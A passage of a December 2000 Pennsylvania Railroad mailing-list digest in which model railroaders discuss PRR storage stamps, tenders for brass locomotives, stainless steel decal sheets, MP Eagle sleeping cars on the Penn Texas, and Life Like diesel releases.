is no sign of the original train phone antenna;  a more modern Sinclair

antenna is visible.  It is receiving at least some care because all visible

glass is intact.



Steve Hoxie

Pensacola FL







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!!NEXT MESSAGE!!
Date: Tue, 19 Dec 2000 08:39:18 -0600

Subject: [PRR] (PRR) Custom Painters

From: Jeffrey D Thomas <jthomasmet@juno.com>



Thanks to all who made recommendations about custom painters. Looks like

I have several good options. I`m looking forward to getting one of them

started on my H20-44 soon. 



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From: PKMac1@aol.com

Date: Tue, 19 Dec 2000 09:44:29 EST

Subject: [PRR] PRR Storage Stamps



Hello List. 

               I have come across some books of Storage Stamps For the PRR 

that have various amounts on them ranging from .05, .10, .25, .31& .44 cents. 

Can anyone that worked in and around a PRR Ticket Office or Baggage room tell 

me what they were used for? These came from the Altoona Pa ticket office as 

they closed it down before demolition in the 70's. Thanks.



Pat McKinney

PRRT&HS #1524



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From: "aidrian.bridgeman-sutton" <aidrian.bridgeman-sutton@ntlworld.com>

Subject: [PRR] Introduction and a rank newbie q about tenders

Date: Tue, 19 Dec 2000 14:44:54 -0000



While I have posted a couple of times on general matters, I haven't properly

introduced myself yet.



My name's Aidrian Bridgeman-Sutton, and I'm a lifelong railway nut who is

blessed with a wife who understands. We're presently domiciled in the East

Riding of Yorkshire about 10 miles south of York in what is at the moment a

definitely damp and foggy England . Train interests are many and varied, but

are mostly concerned with steam and railways when they were at their

height..  Horese pipe organs, sailing and steam ships, traction engines, old

aeroplanes and vintage classic cars are other vices that have tepmted me

from yime to time



I have had the pleasure of corresponding with various members on other lists

and fora,  and some may have wondered why someone whose primary RR interests

lie rather further south than Pennsy ever got hangs about on PRR lists. It's

a complicated story, initiated by the accquisition of  some well used

engines and intensified by a long held appreciation of the aesthetics of the

Belpaire firebox.



It's time to display my woeful ignorance of PRR matters and ask some fairly

basic questions regarding tenders for said engines.



What I  have is a G5s, a K4s and apparently a B6sb, all brass models, which

have one tender between them. Now what I do know is that all these classes

engines had different tenders at various times and places.



What I'm looking for is either a recommendation for a specific book that

will help me sort out what I have and what I need or a suggestion for other

sources. (For obvious reasons I'm not keen to buy several hundred dollars

worth of books to rescue a couple of scruffy brass engines that owe me very

little). I'll probably end up building new tenders out of brass unless I get

lucky, and again reference suggestions would be appreciated - again

sourrcesthat ar likely to be reasaonably easy to unearth in or from the UK

would be preferred.



TIA



Aidrian





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From: "Burnley, Charles" <Charles.Burnley@conectiv.com>

Subject: RE: [PRR] Proto 1000 RDC's

Date: Tue, 19 Dec 2000 10:16:07 -0500



Evan,

Thanks for the tip. Is this car going to come out as an RDC-1??

OR...Does anyone have a good kit-bash technique to make RDC-1's??

The PRSL sure could use a few.

Thanks

Buzz

PRRT&HS #271



-----Original Message-----

From: RDG2124@aol.com [mailto:RDG2124@aol.com]

Sent: Monday, December 18, 2000 1:00 AM

To: PRR-Talk@dsop.com

Subject: [PRR] Proto 1000 RDC's





  This car came out with a disappointing paint job, some batches more so

than 

others.  A fellow modeler used Microscale Decal's, Stainless Steel sheets to



perform a caterpillar-to-butterfly rework of this model.  The results are 

unbelievable!   With the stainless steel decal sheeting applied the model 

captures the true appearance of  Budd's stainless steel.  The original paint



job was left on and only the lettering removed to preclude the possibility

of 

it showing through the decal sheeting.  The model was given a satin coat as

a 

protective coating then lightly weather.



  Don practiced with the stainless steel decal sheet on some old Athearn 

streamlined cars prior to tackling the Proto 1000 car.  Not one of us who 

work at the hobby shop guessed they were Athearn!!  But most of us would

have 

liked to have had the cars!! 



  Try it -- you'll like it!



  Happy modeling,



  Evan   



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From: Jimy6b@aol.com

Date: Tue, 19 Dec 2000 10:13:44 EST

Subject: Re: [PRR] PFE question



In a message dated 12/13/00 12:58:14 AM Central Standard Time, babal@slip.net 

writes:



<< Gize:

 

 I believe this statements about Hunt's Point and the NH/NYC are not correct.

 The largest produce market in New York City was the Bronx Terminal Market

 and it was located in the western Bronx and was served directly by the New

 York Central.  It was located in the shadow of Yankee Stadium.  The New

 Haven yard in the East Bronx near the Hunt's Point neighborhood was Oak

 Point yard (still in operation).  Oak Point was a classification yard and I

 do not believe that it had a produce market associated with it.

 

 Other railroads including the Erie, LV, DL&W, and CNJ also had small yards

 along the Harlem River in the southwest Bronx and they may have also

 delivered cars to the Bronx Terminal Market via their carfloat operations.

 

 Doug Nelson

 Mill Valley, CA

 babal@slip.net

 

 ----------

 >From: Mike A <n2icv@home.com>

 >To: PRR-Talk <PRR-Talk@dsop.com>

 >Subject: Re: [PRR] PFE question >>



Do not agree with this statement. I believe the largest produce terminal was 

in Manhattan near Holland Tunnel and where World Trade Center stands now. Era 

was 1950s.



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!!NEXT MESSAGE!!
Date: Tue, 19 Dec 2000 07:17:53 -0800 (PST)

From: robert netzlof <wb3iqe@rocketmail.com>

Subject: Re: [PRR] PRR Storage Stamps



--- PKMac1@aol.com wrote:

> Hello List. 

>                I have come across some books of

> Storage Stamps For the PRR 

<snip>



I didn't work for PRR but I know one use of the

storage stamps.



When one checked baggage, the railroad allowed some

period of time after it arrived for the passenger to

pick it up. If it was not picked up within that time,

storage was charged, and the stamps were applied to

the baggage tag(s) to record how much was owed.



I fell afoul of that in the summer of 1953. I was in

Chicago at a school for several weeks. My mother had

orchestrated a plan whereby I would return from

Chicago and go directly to a church camp, leaving no

time for me to pick up my baggage, which wasn't due to

arrive until the next day anyway.



No problem (for her), she detailed my father to do

that while she went off to some church convention. Dad

was not fond of the plan, and decided to let the

baggage sit at the station for three days while he

went fishing. When he finally did pick it up, there

was a charge of, I believe, $1 for each of three

items.



That led to a quite noticable venting on the theme of

blood-sucking capitalist fat cats treading down on the

neck of the working man, etc. etc., a common theme

around the house in those days.







=====

Bob Netzlof a/k/a Sweet Old Bob





__________________________________________________

Do You Yahoo!?

Yahoo! Shopping - Thousands of Stores. Millions of Products.

http://shopping.yahoo.com/



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!!NEXT MESSAGE!!
Date: Tue, 19 Dec 2000 10:36:25 -0500

Subject: [PRR] MP Eagle Cars on PRR Penn Texas

From: Jerry Britton <jerry@pennsyrr.com>



As of 1954 PRR Penn Texas included three cars in MP Eagle livery for

interchange service...one 14-4 and two 10-6's.



I have found a company (Marshall Shops) that markets MP cars in N scale.

Their advantage is that they include painting masks with their cars. Decals

are included as well.



My records of the names of the pool of 14-4 cars match up with what they are

selling.



However, my records of the names of the pool of 10-6 cars does not match up.

Having referenced the PRRT&HS publication by Tilp and Blardone, it appears

that these 10-6's were actually built by the PRR expressly for the MP Eagle

service, and immediately painted for said service. The cars were built by

ACF in 1950 to Pullman Plan 9008.



Now, does anyone know if the MP-owned 10-6's were also Pullman Plan 9008?



I am hoping they are, so I can purchase the MP kits that are offered, and

just change the car names and add the small "PRR" designations at the ends

of the letterboard.



FYI: The Marshall Shops web site is at



    http://www.marshallshops.com/

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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!!NEXT MESSAGE!!
Date: Tue, 19 Dec 2000 10:52:21 -0500

From: Andy Miller <asmiller@mitre.org>

Subject: Re: [PRR] MicroScale SS Sheets (was: Proto 1000 RDC's)



Evan,

Can you tell me more about these stainless steel decal sheets.  I can

not find them on the MS website.  Do you know the product number?



-- 

Regards,



Andy Miller

asmiller@mitre.org



===================================================





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!!NEXT MESSAGE!!
Date: Tue, 19 Dec 2000 11:21:15 -0500

From: Andy Miller <asmiller@mitre.org>

Subject: Re: [PRR] MP Eagle Cars on PRR Penn Texas



Jerry,



Have you tried the MoPac Historical Soc:



http://www.geocities.com/~mopac/



If they don't have it, you might try surfing their links to private

members' pages.



In addition to being plan 9008, you also need to know if they were

riveted cars like the PRR ones, or don't details like rivets show up in

N scale?   MR published plans for these cars a few years ago.  The

sidebar text might have some answers.  Check the Kalmbach website.

BTW When did the PRR stop using the repainted 10-5s ?



Regards,



Andy Miller

asmiller@mitre.org



===================================================

Jerry Britton wrote:

> 

> As of 1954 PRR Penn Texas included three cars in MP Eagle livery for

> interchange service...one 14-4 and two 10-6's.

> 

> I have found a company (Marshall Shops) that markets MP cars in N scale.

> Their advantage is that they include painting masks with their cars. Decals

> are included as well.

> 

> My records of the names of the pool of 14-4 cars match up with what they are

> selling.

> 

> However, my records of the names of the pool of 10-6 cars does not match up.

> Having referenced the PRRT&HS publication by Tilp and Blardone, it appears

> that these 10-6's were actually built by the PRR expressly for the MP Eagle

> service, and immediately painted for said service. The cars were built by

> ACF in 1950 to Pullman Plan 9008.

> 

> Now, does anyone know if the MP-owned 10-6's were also Pullman Plan 9008?

> 

> I am hoping they are, so I can purchase the MP kits that are offered, and

> just change the car names and add the small "PRR" designations at the ends

> of the letterboard.

> 

> FYI: The Marshall Shops web site is at

> 

>     http://www.marshallshops.com/

> ---------------------------------------------------------

> Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com





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!!NEXT MESSAGE!!
From: "Dennis @ D & S Hobbies" <dennis@onerrave.com>

Subject: Re: [PRR] MicroScale SS Sheets (was: Proto 1000 RDC's)

Date: Tue, 19 Dec 2000 11:24:52 -0500



The product is part of their TRIM-FILM line.  These are sheets of solid

colors.  The Stainless Steel is TF-27.



We have also used the black, boxcar red and tuscan red shades to simulate

renumbering or changes in dimensional data.  It makes a real easy project.



Dennis

mailto:dennis@onerrave.com



D & S Hobbies

http://www.onerrave.com

34 Main Street

South Bound Brook, NJ 08880



(732) 271-0800     Voice

(732) 271-0805     Fax









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!!NEXT MESSAGE!!
Date: Tue, 19 Dec 2000 11:23:05 -0500

Subject: Re: [PRR] MP Eagle Cars on PRR Penn Texas

From: Jerry Britton <jerry@pennsyrr.com>



On 12/19/00 11:21 AM, Andy Miller (asmiller@mitre.org) wrote:



> Have you tried the MoPac Historical Soc:

> 

> http://www.geocities.com/~mopac/

> 

> If they don't have it, you might try surfing their links to private

> members' pages.



Thanks, I'll look.

> 

> In addition to being plan 9008, you also need to know if they were

> riveted cars like the PRR ones, or don't details like rivets show up in

> N scale?   



The rivets probably wouldn't, but the other question would be whether or not

there are other noticeable differences between the Pullman and ACF versions.



> MR published plans for these cars a few years ago.  The

> sidebar text might have some answers.  Check the Kalmbach website.



I will.



> BTW When did the PRR stop using the repainted 10-5s ?

> 

The 10-5's were in use until the new 10-6's were delivered in 1950, per the

Tilp/Blardone book.

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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!!NEXT MESSAGE!!
Date: Tue, 19 Dec 2000 11:35:41 -0500

From: Andy Miller <asmiller@mitre.org>

Subject: Re: [PRR] MP Eagle Cars on PRR Penn Texas



BTW, As I recall, the ACF 9008 riveted 10-6s the PRR used in PennTexas

service had a heavy, half-round "belt rail" both below and above the

windows!  Surely That would show even in N scale.



BTW2  Why not paint the cars as PRR for the PRR-Eagle service?  Why must

the 10-6s be MP? the 14-4s will have to be MP.  And don't forget the

Frisco-Katy Texas Special  car, also a 14-4.



Regards,



Andy Miller

asmiller@mitre.org



===================================================



Jerry Britton wrote:

> 

> On 12/19/00 11:21 AM, Andy Miller (asmiller@mitre.org) wrote:

> 

> > Have you tried the MoPac Historical Soc:

> >

> > http://www.geocities.com/~mopac/

> >

> > If they don't have it, you might try surfing their links to private

> > members' pages.

> 

> Thanks, I'll look.

> >

> > In addition to being plan 9008, you also need to know if they were

> > riveted cars like the PRR ones, or don't details like rivets show up in

> > N scale?

> 

> The rivets probably wouldn't, but the other question would be whether or not

> there are other noticeable differences between the Pullman and ACF versions.

> 

> > MR published plans for these cars a few years ago.  The

> > sidebar text might have some answers.  Check the Kalmbach website.

> 

> I will.

> 

> > BTW When did the PRR stop using the repainted 10-5s ?

> >

> The 10-5's were in use until the new 10-6's were delivered in 1950, per the

> Tilp/Blardone book.





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!!NEXT MESSAGE!!
Date: Tue, 19 Dec 2000 11:33:10 -0500

Subject: Re: [PRR] MP Eagle Cars on PRR Penn Texas

From: Jerry Britton <jerry@pennsyrr.com>



No, the PRR 10-6's were a different plan, "probably".



Of the MP 14-4's:

"The 38 cars listed below contained 14 roomettes and 4 double bedrooms and

were built by Pullman-Standard in February-July 1948 to Plan 4153A in Lot

6758. The one-digit and two-digit numbers shown for Texas and Pacific cars

were changed to 600-series numbers in 1963, the year in which Missouri

Pacific cars first had 600-series numbers added to the car names. Car EAGLE

MARSH was wrecked in 1961 and never had a number. "



The Marshall Shops web site that shows the 10-6's indicates that they were

rebuilds from the aforementioned 14-4's, but does not provide a Plan #.



The MoPac did commission some 10-6's for other Eagle service, but they were

not Plan 9008 either:

"Two groups of 10 roomette-6 double bedroom cars were built by the Budd

Company for the Missouri Pacific. In the listing below, cars 610-615 were

delivered in August and September of 1949 in Lot 9660-027, built to Plan

9504. Cars 616-621 arrived in August 1956 and were Plan 9538, Lot 9660-171.

Cars 610-613 were named for the COLORADO EAGLE train. "



> Jerry Britton wrote:

>> 

>> As of 1954 PRR Penn Texas included three cars in MP Eagle livery for

>> interchange service...one 14-4 and two 10-6's.

>> 

>> However, my records of the names of the pool of 10-6 cars does not match up.

>> Having referenced the PRRT&HS publication by Tilp and Blardone, it appears

>> that these 10-6's were actually built by the PRR expressly for the MP Eagle

>> service, and immediately painted for said service. The cars were built by

>> ACF in 1950 to Pullman Plan 9008.

>> 

>> Now, does anyone know if the MP-owned 10-6's were also Pullman Plan 9008?

>> 

On 12/19/00 11:21 AM, Andy Miller (asmiller@mitre.org) wrote:



> Have you tried the MoPac Historical Soc:

> 

> http://www.geocities.com/~mopac/

> 

> If they don't have it, you might try surfing their links to private

> members' pages.

> 

> In addition to being plan 9008, you also need to know if they were

> riveted cars like the PRR ones, or don't details like rivets show up in

> N scale?   MR published plans for these cars a few years ago.  The

> sidebar text might have some answers.  Check the Kalmbach website.

> BTW When did the PRR stop using the repainted 10-5s ?

> 

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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!!NEXT MESSAGE!!
From: "Dennis @ D & S Hobbies" <dennis@onerrave.com>

Subject: Re: [PRR] MP Eagle Cars on PRR Penn Texas

Date: Tue, 19 Dec 2000 11:39:46 -0500



According to Wayner's Car Names, Numbers and Consists, MP cars 610-615 were

delivered in August and September of 1949 in Lot 9660-027 to plan 9504.

Cars 616-621 Arrived in August of 1956 and were Lot 9660-171 to plan 9538.

It also states that cars 610-613 were named for the Colorado Eagle train.



Hope this helps.



Dennis

mailto:dennis@onerrave.com



D & S Hobbies

http://www.onerrave.com

34 Main Street

South Bound Brook, NJ 08880



(732) 271-0800     Voice

(732) 271-0805     Fax









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!!NEXT MESSAGE!!
Date: Tue, 19 Dec 2000 11:47:34 -0500

Subject: Re: [PRR] MP Eagle Cars on PRR Penn Texas

From: Jerry Britton <jerry@pennsyrr.com>



On 12/19/00 11:35 AM, Andy Miller (asmiller@mitre.org) wrote:



> BTW, As I recall, the ACF 9008 riveted 10-6s the PRR used in PennTexas

> service had a heavy, half-round "belt rail" both below and above the

> windows!  Surely That would show even in N scale.



Yes, that would show.

> 

> BTW2  Why not paint the cars as PRR for the PRR-Eagle service?  Why must

> the 10-6s be MP? the 14-4s will have to be MP.



Because the Tilp/Blardone book indicates they wore MP livery and had "Eagle"

names. The 14-4's offered by Marshall Shops are the exact cars with the

exact names needed.



There was also a 10-6 on the 575 out of Washington that gets moved to the

Penn Texas at Harrisburg. I do not know if this wore MP Eagle livery or was

a PRR car or not.



> And don't forget the

> Frisco-Katy Texas Special  car, also a 14-4.

> 

Yes. I have a complete consist record by car type (and most pool names).

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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!!NEXT MESSAGE!!
From: Bobspf@aol.com

Date: Tue, 19 Dec 2000 13:24:35 EST

Subject: Re: [PRR] MP Eagle Cars on PRR Penn Texas



In a message dated 12/19/00 10:58:07 AM Central Standard Time, 

jerry@pennsyrr.com writes:



<< There was also a 10-6 on the 575 out of Washington that gets moved to the

 Penn Texas at Harrisburg. I do not know if this wore MP Eagle livery or was

 a PRR car or not. >>



Washington-Houston started in 1948 with Cascade-series 10-5's (11 of these 

were painted in MP colors in that year).  These were replaced by MP 14-4's 

and then 10-6 cars on Sept. 17, 1950. In 1954, 10-6's PRR Eagle Oak and MP 

Elk River, Crystal River, and Roaming River covered this service.  All in MP 

colors.

Source: Pennsy Streamliners, the Blue Ribbon Fleet by Joe Welsh.  There is a 

lot of info on these trains in that book, which IMO should be on every 

passenger SPF's bookshelf. 



BTW, they also mention 10-5's were added to 1949, 1953, and 1954 winter 

consists to handle extra MKT-Frisco New York-Dallas traffic over and above 

their New York-San Antonio cars.



Bob Zoeller



Bob Zoeller



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!!NEXT MESSAGE!!
From: WLHoss@aol.com

Date: Tue, 19 Dec 2000 15:52:30 EST

Subject: Re: [PRR] MP Eagle Cars on PRR Penn Texas



<< The rivets probably wouldn't, but the other question would be whether or 

not

 there are other noticeable differences between the Pullman and ACF versions. 

>>



Jerry,



Watch the size of the windows.  I have a MoPac drawing that shows the stripe 

placement on the Eagle cars and from the spacing, St. Louis Car, ACF and 

Pullman appear to be somewhat different from one another.  



Bill



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From: "Gregg Mahlkov" <mahlkov@gtcom.net>

Subject: [PRR] Railway Equipment registers

Date: Tue, 19 Dec 2000 16:01:36 -0500



Lists:-



I have 33 Official Railway Equipment Registers from between 1/71 and 1/90

(mostly in the 1980's) that I wish to get rid of. E-mail me off list and I

will e-mail you a Word attachment listing them. Price includes delivery by

Priority Mail. If someone wishes to purchase a significant number, price and

shipping are negotiable.  I also have Odfficial Railway Guides from the same

era if anyone is interested - no list yet. Let me know and I'll tell you if

I have it.



Gregg Mahlkov

e-mail: mahlkov@gtcom.net





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From: "Bill Lane" <billlane@snip.net>

Subject: [PRR] trip to Manhatten

Date: Tue, 19 Dec 2000 23:38:27 -0500



Hi All,



I took a trip to Manhattan this past Saturday to catch some of the New York

City holiday spirit via New Jersey Transit. We left from Metro Park. It was

my first trip on the N.E. Corridor. Some of the interesting things that I

saw at 50 (?) MPH on a dreary rainy day while trying to pay attention to my

girlfriend was an EX-PRR boxcar with the end cut out for a doorway. The

changing of the track levels and the Elizabeth S curve was great. But the

most interesting thing I saw was at least 3 PRR round roof boxcars with the

service "S" on them without trucks in a railroad yard. They looked like they

were being used for storage. Has anyone else seen them? Where are they? Are

they accessible from a road? This would be my first encounter with a round

roof. I am already planning on going up in the spring/summer. I imagine that

if they have survived this long, they will still be there then.



Thanks,

Bill





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From: "Graeme Nitz" <prr@unite.com.au>

Subject: [PRR] Life Like releases

Date: Wed, 20 Dec 2000 16:40:59 +1100



Listers,



The new Life Like releases for 2001



1st Quarter



rerun of 0-8-0



Boston & Maine, Chesapeake & Ohio, Indiana Harbour Belt, Missouri Pacific,

New Haven, Pere Maquette



2nd Quarter



rerunof BL2 (upgraded?)



Bangor & Aroostook, Boston & Maine, Chesapeake & Ohio, Rock Island, Western

Maryland



3rd Quarter



S1



Baltimore & Ohio, Chesapeake & Ohio, Erie, Gulf Mobile & Ohio, Louisville &

Nashville, Maine Central, Missouri Pacific, New york Central, Southern

Pacific



Graeme Nitz

PRRT&HS Member #1313

prr@unite.com.au

An Aussie "Slobbering Pennsy Freak"

With a touch of Reading.





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!!NEXT MESSAGE!!
Date: Wed, 20 Dec 2000 06:18:57 -0500

Subject: Re: [PRR] MP Eagle Cars on PRR Penn Texas

From: Jerry Britton <jerry@pennsyrr.com>



On 12/19/00 1:24 PM, Bobspf@aol.com at (Bobspf@aol.com) wrote:



> Source: Pennsy Streamliners, the Blue Ribbon Fleet by Joe Welsh.  There is a

> lot of info on these trains in that book, which IMO should be on every

> passenger SPF's bookshelf.

> 

Thanks for the "head's up". I have this book and didn't think to check!

---------------------------------------------------------------------

Jerry Britton, SPF      jerry@pennsyrr.com     Member, PRRT&HS



"Merchandise Service", a division of Desktop Solutions of

Pennsylvania, Inc., is a reseller of model railroad and railroadiana

products. "MS" is also host to the web site "Keystone Crossings",

the domain PENNSYRR.COM, and the mailing lists "PRR-Talk", "Conrail-

Talk", and "Reading-Talk". When you purchase through "MS", you are

providing financial support to these Internet endeavors. Please visit

our eCommerce web site at http://merchandise.pennsyrr.com.

------------------------------Thank you!-----------------------------





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Date: Wed, 20 Dec 2000 15:42:12 EST

From: TGREGMRTN@aol.com

Subject: Re: [PRR] Life Like releases



Guys,



Do we really need an S-1 ALCo switcher? Why not an H-20-44 or H-16-44... How 

about a good Baldwin Shark?



Greg Martin 



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!!NEXT MESSAGE!!
Date: Wed, 20 Dec 2000 15:53:39 -0500

Subject: Re: [PRR] Life Like releases

From: Jerry Britton <jerry@pennsyrr.com>



On 12/20/00 3:42 PM, TGREGMRTN@aol.com (TGREGMRTN@aol.com) wrote:



> Do we really need an S-1 ALCo switcher?



A PRR version wasn't even in the "first release" list. Perhaps later.



> Why not an H-20-44 or H-16-44...



Now, now, Miracle Castings will have one out any day now! <grin>



> How 

> about a good Baldwin Shark?

> 

I, for one, am willing to remain satisfied with the E-R Models freight

sharks -- a great improvement over the Model Power, etc., ones of yesteryear

-- and would prefer to see the BP20 passenger shark in a ready-to-run

version. Miracle Castings made a decent shell, but lets kick it up a notch!



Of course, I'd also like BP-60/BH-50 centipedes, but the unique

trucks/sideframes seem to be preventing that from happening any time soon!

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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!!NEXT MESSAGE!!
Date: Wed, 20 Dec 2000 16:23:33 -0600

From: Larry Reynolds <reynoldl@gte.net>

Subject: Re: [PRR] Life Like releases



Hay Jerry:



Why in the world would you think the ER Models Freight Sharks are better than

the old Model Power version?  I have both and would much prefer the MP's.

Reasons:



1) I don't care for the shade of green paint on the ER's as well as the overly

bright lettering.



2) After exhaustive testing I have concluded that the ER's maintain terrible

control when run on DCC and MU'd.  They do not maintain a constant smooth

speed.  They keep fluctuating.  Model Power Sharks, no problem.  All other

loco's on my roster, no problem.  I've even taken the decoders out and shelved

the things until I get a chance to re-motor them with Kato motors.



3) The pilot on the ER's is really bad and requires surgery.



4) The rear on the loco is also bad and also requires surgery unless you like

three miles between units. <VBG>



5) Way over priced when compared to P2K.  The ER's are up there with Kato and

Stewart.  These, (Stewart and Kato) are in a class that is deserving of the high

price.  IMHO the ER Sharks are not.



Have a great Holiday Jerry.  Hope you can make it to a session sometime in 2001.



Larry









Jerry Britton wrote:



> On 12/20/00 3:42 PM, TGREGMRTN@aol.com (TGREGMRTN@aol.com) wrote:

>

> > Do we really need an S-1 ALCo switcher?

>

> A PRR version wasn't even in the "first release" list. Perhaps later.

>

> > Why not an H-20-44 or H-16-44...

>

> Now, now, Miracle Castings will have one out any day now! <grin>

>

> > How

> > about a good Baldwin Shark?

> >

> I, for one, am willing to remain satisfied with the E-R Models freight

> sharks -- a great improvement over the Model Power, etc., ones of yesteryear

> -- and would prefer to see the BP20 passenger shark in a ready-to-run

> version. Miracle Castings made a decent shell, but lets kick it up a notch!

>

> Of course, I'd also like BP-60/BH-50 centipedes, but the unique

> trucks/sideframes seem to be preventing that from happening any time soon!

> ---------------------------------------------------------

> Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

> Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

> "Keystone Crossings" - Home of "PRR-Talk"

>     http://kc.pennsyrr.com

> "Merchandise Service" - Model railroad products

>     http://merchandise.pennsyrr.com

> Free serving of railroad web sites

>     http://www.railfancentral.com

>

> -----------------------------------------------------------------------

> Join our SPF database at http://kc.pennsyrr.com/forms/spf/index.html.

> -----------------------------------------------------------------------

> For assistance with the list "PRR-Talk", send the message "help" to

> "listserv@dsop.com".





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!!NEXT MESSAGE!!
From: "pgrace" <pgrace@aspects.net>

Subject: Re: [PRR] Life Like releases

Date: Wed, 20 Dec 2000 22:46:29 -0000



Surely a better option would be an Alco RSD 15 /

 RSD 12, they would have a reasonable market





----- Original Message -----

From: "Larry Reynolds" <reynoldl@gte.net>

To: "Jerry Britton" <jerry@pennsyrr.com>; "PRR-Talk LIST"

<prr-talk@dsop.com>

Sent: Wednesday, December 20, 2000 10:23 PM

Subject: Re: [PRR] Life Like releases





> Hay Jerry:

>

> Why in the world would you think the ER Models Freight Sharks are better

than

> the old Model Power version?  I have both and would much prefer the MP's.

> Reasons:

>

> 1) I don't care for the shade of green paint on the ER's as well as the

overly

> bright lettering.

>

> 2) After exhaustive testing I have concluded that the ER's maintain

terrible

> control when run on DCC and MU'd.  They do not maintain a constant smooth

> speed.  They keep fluctuating.  Model Power Sharks, no problem.  All other

> loco's on my roster, no problem.  I've even taken the decoders out and

shelved

> the things until I get a chance to re-motor them with Kato motors.

>

> 3) The pilot on the ER's is really bad and requires surgery.

>

> 4) The rear on the loco is also bad and also requires surgery unless you

like

> three miles between units. <VBG>

>

> 5) Way over priced when compared to P2K.  The ER's are up there with Kato

and

> Stewart.  These, (Stewart and Kato) are in a class that is deserving of

the high

> price.  IMHO the ER Sharks are not.

>

> Have a great Holiday Jerry.  Hope you can make it to a session sometime in

2001.

>

> Larry

>

>

>

>

> Jerry Britton wrote:

>

> > On 12/20/00 3:42 PM, TGREGMRTN@aol.com (TGREGMRTN@aol.com) wrote:

> >

> > > Do we really need an S-1 ALCo switcher?

> >

> > A PRR version wasn't even in the "first release" list. Perhaps later.

> >

> > > Why not an H-20-44 or H-16-44...

> >

> > Now, now, Miracle Castings will have one out any day now! <grin>

> >

> > > How

> > > about a good Baldwin Shark?

> > >

> > I, for one, am willing to remain satisfied with the E-R Models freight

> > sharks -- a great improvement over the Model Power, etc., ones of

yesteryear

> > -- and would prefer to see the BP20 passenger shark in a ready-to-run

> > version. Miracle Castings made a decent shell, but lets kick it up a

notch!

> >

> > Of course, I'd also like BP-60/BH-50 centipedes, but the unique

> > trucks/sideframes seem to be preventing that from happening any time

soon!

> > ---------------------------------------------------------

> > Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

> > Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

> > "Keystone Crossings" - Home of "PRR-Talk"

> >     http://kc.pennsyrr.com

> > "Merchandise Service" - Model railroad products

> >     http://merchandise.pennsyrr.com

> > Free serving of railroad web sites

> >     http://www.railfancentral.com

> >

> > -----------------------------------------------------------------------

> > Join our SPF database at http://kc.pennsyrr.com/forms/spf/index.html.

> > -----------------------------------------------------------------------

> > For assistance with the list "PRR-Talk", send the message "help" to

> > "listserv@dsop.com".

>

>

> -----------------------------------------------------------------------

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> -----------------------------------------------------------------------

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> "listserv@dsop.com".

>

>





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!!NEXT MESSAGE!!
Date: Wed, 20 Dec 2000 16:58:53 -0600

From: Larry Reynolds <reynoldl@gte.net>

Subject: Re: [PRR] Life Like releases



Agreed, I'd love to see the RSD15 and also the RSD7.  The 12's already been

done.



Larry



pgrace wrote:



> Surely a better option would be an Alco RSD 15 /

>  RSD 12, they would have a reasonable market

>

> ----- Original Message -----

> From: "Larry Reynolds" <reynoldl@gte.net>

> To: "Jerry Britton" <jerry@pennsyrr.com>; "PRR-Talk LIST"

> <prr-talk@dsop.com>

> Sent: Wednesday, December 20, 2000 10:23 PM

> Subject: Re: [PRR] Life Like releases

>

> > Hay Jerry:

> >

> > Why in the world would you think the ER Models Freight Sharks are better

> than

> > the old Model Power version?  I have both and would much prefer the MP's.

> > Reasons:

> >

> > 1) I don't care for the shade of green paint on the ER's as well as the

> overly

> > bright lettering.

> >

> > 2) After exhaustive testing I have concluded that the ER's maintain

> terrible

> > control when run on DCC and MU'd.  They do not maintain a constant smooth

> > speed.  They keep fluctuating.  Model Power Sharks, no problem.  All other

> > loco's on my roster, no problem.  I've even taken the decoders out and

> shelved

> > the things until I get a chance to re-motor them with Kato motors.

> >

> > 3) The pilot on the ER's is really bad and requires surgery.

> >

> > 4) The rear on the loco is also bad and also requires surgery unless you

> like

> > three miles between units. <VBG>

> >

> > 5) Way over priced when compared to P2K.  The ER's are up there with Kato

> and

> > Stewart.  These, (Stewart and Kato) are in a class that is deserving of

> the high

> > price.  IMHO the ER Sharks are not.

> >

> > Have a great Holiday Jerry.  Hope you can make it to a session sometime in

> 2001.

> >

> > Larry

> >

> >

> >

> >

> > Jerry Britton wrote:

> >

> > > On 12/20/00 3:42 PM, TGREGMRTN@aol.com (TGREGMRTN@aol.com) wrote:

> > >

> > > > Do we really need an S-1 ALCo switcher?

> > >

> > > A PRR version wasn't even in the "first release" list. Perhaps later.

> > >

> > > > Why not an H-20-44 or H-16-44...

> > >

> > > Now, now, Miracle Castings will have one out any day now! <grin>

> > >

> > > > How

> > > > about a good Baldwin Shark?

> > > >

> > > I, for one, am willing to remain satisfied with the E-R Models freight

